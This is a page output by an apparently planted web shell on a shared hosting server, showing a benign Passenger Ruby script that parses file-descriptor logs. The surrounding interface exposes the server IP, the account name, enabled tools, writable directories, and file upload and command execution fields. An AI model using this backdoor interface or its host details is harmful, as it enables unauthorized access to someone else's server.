403Webshell
Server IP : 162.213.251.208  /  Your IP : 3.144.118.236
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : jmoroovq ( 1890)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/dev/parse_file_descriptor_log
#!/usr/bin/env ruby
# Parses a file descriptor log as produced by Passenger,
# and display the file descriptors that are still open
# according to the log.

class ParserApp
  Agent = Struct.new(:name, :fds)
  Entry = Struct.new(:source, :purpose)

  def initialize(path)
    @io = File.open(path, "r")
    @agents = {}
  end

  def close
    @io.close
  end

  def analyze
    @lineno = 1
    while !@io.eof?
      line = @io.readline.strip
      pid, source, message = parse_line(line)

      case message
      when /^Starting agent: (.+)$/
        agent_name = $1
        if (old_pid = find_agent(agent_name))
          warn "#{agent_name} restarted"
          @agents.delete(old_pid)
        end
        @agents[pid] = Agent.new(agent_name, {})

      when /^File descriptor opened: (.+)/
        fd = $1.to_i
        if agent = @agents[pid]
          if agent.fds.has_key?(fd)
            warn "FD #{fd} already opened"
          end
          agent.fds[fd] = Entry.new(source)
        else
          warn "No agent information about #{pid}"
        end

      when /^File descriptor closed: (.+)/
        fd = $1.to_i
        if agent = @agents[pid]
          if agent.fds.has_key?(fd)
            agent.fds.delete(fd)
          else
            warn "FD #{fd} not opened"
          end
        else
          warn "No agent information about #{pid}"
        end

      when /^File descriptor purpose: (.+?): (.+)/
        fd = $1.to_i
        purpose = $2
        if agent = @agents[pid]
          if entry = agent.fds[fd]
            entry.purpose = purpose
          else
            warn "FD #{fd} not opened"
          end
        else
          warn "No agent information about #{pid}"
        end
      end

      @lineno += 1
    end
  rescue EOFError
  end

  def report
    @agents.each_pair do |pid, agent|
      puts
      puts "#{pid}: #{agent.name}"
      puts("-" * 80)
      agent.fds.keys.sort.each do |fd|
        entry = agent.fds[fd]
        printf "%-5d  %-30s  %s\n", fd, entry.source, entry.purpose
      end
    end
  end

private
  def parse_line(line)
    if line =~ /^\[ (.+?) \]: (.+)/
      info = $1
      message = $2
      fragments = info.split(" ")
      pid = fragments[2].sub(/\/.*/, '')
      source = fragments.last
      [pid, source, message]
    else
      nil
    end
  end

  def find_agent(name)
    @agents.each_pair do |pid, agent|
      if agent.name == name
        return pid
      end
    end
    nil
  end

  def warn(message)
    STDERR.puts "Warning:#{@lineno}: #{message}"
  end
end

app = ParserApp.new(ARGV[0])
app.analyze
app.report
app.close

Youez - 2016 - github.com/yon3zu
LinuXploit